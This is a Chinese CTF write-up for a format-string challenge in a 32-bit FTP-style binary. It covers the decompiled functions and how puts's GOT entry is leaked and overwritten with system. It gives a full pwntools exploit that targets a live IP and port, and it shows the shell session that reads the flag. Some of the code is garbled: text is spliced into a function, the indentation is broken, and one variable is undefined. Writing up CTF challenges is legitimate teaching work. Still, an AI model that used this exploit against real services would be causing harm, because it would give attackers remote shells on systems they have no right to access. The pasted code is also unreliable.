逆向分析

使用ida逆向分析其功能,程序主要功能为:

上传文件put_file 通过输入文件名及文件内容上传,程序会将二者存放到一个数组之中。

char * put_file() {
    char * v0; // ST1C_4@1
    char * result; // eax@1
    v0 = (char * ) malloc(0xF4u);
    printf("please enter the name of the file you want to upload:");
    get_input((int) v0, 40, 1);
    printf("then, enter the content:");
    get_input((int)(v0 + 40), 200, 1); * ((_DWORD * ) v0 + 60) = file_head;
    result = v0;
    file_head = (int) v0;
    return result;
}

获取文件内容get_file 通过输入文件名获取文件内容,输出的内容为文件上传功能中输入的数据。二者配合可触发fmt漏洞

int get_file() {
    char dest; // [sp+1Ch] [bp-FCh]@5
    char s1; // [sp+E4h] [bp-34h]@1
    char * i; // [sp+10Ch] [bp-Ch]@3
    printf("enter the file name you want to get:");
    __isoc99_scanf("%40s", &s1);
    if (!strncmp( & s1, "flag", 4u)) puts("too young, too simple");
    for (i = (char * ) file_head; i; i = (char * ) * ((_DWORD * ) i + 60)) {
        if (!strcmp(i, &s1)) {
            strcpy( & dest, i + 40);
            return printf( & dest);
        }
    }
    return printf( & dest);
}

列目录show_dir 使用puts函数将所有文件名打印出来

int show_dir() {
    int v0; // eax@3
    char s[1024]; // [sp+14h] [bp-414h]@1
    int i; // [sp+414h] [bp-14h]@1
    int j; // [
    通过前面的分析,sp + 418h][bp - 10h]@1 int v5; // [sp+41Ch] [bp-Ch]@1
    v5 = 0;
    j = 0;
    bzero(s, 0x400u);
    for (i = file_head; i; i = *(_DWORD * )(i + 240)) {
        for (j = 0; * (_BYTE * )(i + j); ++j) {
            v0 = v5++;
            s[v0] = *(_BYTE * )(i + j);
        }
    }
    return puts(s);
}

寻找漏洞

通过逆向分析,put_file环节可以向缓冲区中输入自定义字符串,get_file环节将这个字符串打印出来,如果在put_file中构造特定格式化字符串,那么get_file时就会造成格式化字符串漏洞,从而完成任意地址读和写。

利用思路

最终目的是想调用system('/bin/sh'),获取系统shell。存在问题有三个

system的address
/bin/sh如构造
如何调用sysputs函数别的实际地址,最后计算出libc的地址

由于system位于libc中,所以只需要确定libc的加载地址即可,我们可以使用格式化字符串泄漏出其地址,注意到程序会多次调用put_file, get_file, show_dir,那么里面用到的函数将会放到got表中,puts函数在showdir里面反复调用,可以利用其got表获取其地址,再利用其偏移得到libc的地址,这样system的地址也就出来了。 然后可以将puts的got表覆盖为system的地址,并构造一个/bin/sh的文件名,再调用show_dir函数就可以完成漏洞利用。
构造exploit

通过前面的分析,需要做到下面两步即可完成利用:

泄漏system地址
覆盖puts函数地址为system地址,并使其参数包含/bin/sh

首先,使用objdump查询puts函数的got表:

[root@bogon printf]# objdump -R pwn | grep puts
0804a028 R_386_JUMP_SLOT puts
[root@bogon printf]#

得到其got表地址为0x0804a028

接着需要获取puts在libc中的偏移:

[root@bogon printf]# objdump -T libc-2.23.so | grep puts
0005fca0 g DF .text 000001d0 GLIBC_2.0 _IO_puts
0005fca0 w DF .text 000001d0 GLIBC_2.0 puts
000ebb20 g DF .text 00000491 GLIBC_2.0 putspent
000ed1d0 g DF .text 00000291 GLIBC_2.10 putsgent
0005e720 w DF .text 0000015d GLIBC_2.0 fputs
0005e720 g DF .text 0000015d GLIBC_2.0 _IO_fputs
000680e0 w DF .text 00000092 GLIBC_2.1 fputs_unlocked
[root@bogon printf]#

偏移为0x5fca0

然后可通过打印出got表中的地址,获取puts函数别的实际地址,最后计算出libc的地址

addr_libc = addr_puts - offset_puts

紧接着计算出system地址

addr_system = addr_libc + offset_system

然后通用%n进行任意地址写,将puts的got表覆盖为system的地址

最后构造的exploit如下:

#!/usr/bin/python
#@auther baseline
# github: https: //github.com/windyware

from pwn
import *

io = remote("121.194.2.42", 8001)

def put_file(io, name, content):
    io.recvuntil("ftp>")
io.writeline("put")
io.recvuntil(":")
io.writeline(name)
io.recvuntil(":")
io.writeline(content)

def dir_file(io):
    io.recvuntil("ftp>")
io.writeline("dir")

def get_file(io, name):
    io.recvuntil("ftp>")
io.writeline("get")
io.recvuntil(":")
io.writeline(name)

def pwn(io):
    print 'exploit begin'
username = ''.join([chr(ord(c) - 1) for c in 'sysbdmin'])

io.recvuntil('Name (ftp.hacker.server:Rainism):');
io.writeline(username)

got_malloc = 0x0804a024
got_puts = 0x0804a028

name = 'aaaa'#
content = p32(malloc_got) + '%6$s.'#
content = 'A' * 4 + 'B' * 4 + 'C' * 4 + '%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x...'#
content = 'A' * 4 + 'B' * 4 + 'C' * 4 + '%7$08x...'

content = p32(got_puts) + '%7$s...'
put_file(io, name, content)
get_file(io, name)

data = io.recvuntil('...')# print len(data)# print[c
    for c in data]

addr_puts = u32(data[4: 8])

print 'puts_addr: ', hex(addr_puts)

# get addr of libc by puts addr# addr_libc = addr_puts - offset_puts
offset_puts = 0x0005fca0
addr_libc = addr_puts - offset_puts

# get addr of system by libc addr# addr_system = addr_libc + offset_system
offset_system = 0x0003ada0
addr_system = addr_libc + offset_system#
print 'system addr: ' + hex(addr_system)
addr_info = ''
padding_info = ''
system_addr_buff = p32(addr_system)
offset = 4 * 4
begin_index = 7
for i in range(4):
    addr_info += p32(got_puts + i)
val = ord(system_addr_buff[i])
count = val - offset
if count <= 0:
    count += 0x100

padding_info += "%%%dc" % count + "%%%d$hhn" % (begin_index + i)
offset = val

# print content
name = '/bin/sh;'
content = addr_info + padding_info
put_file(io, name, content)

get_file(io, name)

dir_file(io)

io.interactive()
pass

pwn(io)

获取flag

运行exploit获取flag

[root@bogon printf]# python pwn_printf.py
[+] Opening connection to 121.194.2.42 on port 8001: Done
exploit begin
puts_addr: 0xf75b3ca0
system addr: 0xf758eda0
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
flag
pwn
$ cat flag
flag{********}
$

Referenced

https://www.anquanke.com/post/id/83818
https://www.anquanke.com/post/id/83835
http://blog.csdn.net/yuanyunfeng3/article/details/51419900
https://www.anquanke.com/post/id/85785
http://blog.csdn.net/qq_18661257/article/details/54694748
http://blog.csdn.net/koozxcv/article/details/51644476

Written on January 26, 2018

Flag:

温馨提示: 此处内容需要评论本文后刷新才能查看,支付2元即可直接查看所有Flag。

小广告:关于获取西普实验吧所有Flag请点击这里查看索引

查看所有Flag文章需要输入密码,需要获取文章密码的童鞋请扫描下面微信或支付宝二维码捐助至少2元(老哥,捐多捐少是个缘分)之后发送支付凭证号联系我获取,Flag大全地址:Flag大全

新功能:捐款的小伙伴请联系我把自己的注册邮箱加入网站白名单,可以免回复看到本站所有Flag

PS:本站不是实验吧的官方站点,纯粹是个人博客,收取Flag费用仅是维持服务器费用,做站不易,且行窃珍惜!

微信二维码:
支付宝二维码: